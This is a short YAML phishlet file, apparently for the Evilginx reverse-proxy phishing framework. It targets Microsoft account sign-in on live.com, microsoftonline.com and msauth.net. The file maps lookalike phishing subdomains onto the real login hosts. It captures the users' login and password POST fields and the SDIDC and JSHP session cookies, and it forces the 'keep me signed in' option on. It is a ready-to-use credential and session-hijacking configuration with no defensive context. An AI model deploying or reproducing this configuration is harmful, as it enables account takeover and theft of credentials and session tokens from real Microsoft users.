Microsoft-Phishlet.yaml

name: ‘microsoft’
author: ‘anon'
min_ver: '3.0.0'
proxy_hosts:
  - {phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: true, is_landing: true, auto_filter: true}
  - {phish_sub: 'cdn', orig_sub: 'logincdn', domain: 'msauth.net', session: true, is_landing: false, auto_filter: true}
  - {phish_sub: 'account', orig_sub: 'account', domain: 'live.com', session: true, is_landing: false, auto_filter: true}  
  - {phish_sub: 'microsoft', orig_sub: 'account', domain: 'microsoft.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'login.microsoftonline', orig_sub: 'login', domain: 'microsoftonline.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'www', orig_sub: 'www', domain: 'microsoft.com', session: true, is_landing: false, auto_filter: true} 
auth_tokens:
  - domain: '.login.live.com'
    keys: ['SDIDC','JSHP']
    type: 'cookie'
credentials:
  username:
    key: 'login'
    search: '(.*)'
    type: 'post'
  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'
force_post:
  - path: '/ppsecure/post.srf'
    search:
      - {key: 'login', search: '.*'}
      - {key: 'passwd', search: '.*'}
    force:
      - {key: 'KMSI', value: 'on'}
    type: 'post'    
login:
  domain: 'login.live.com'
  path: 'login.srf'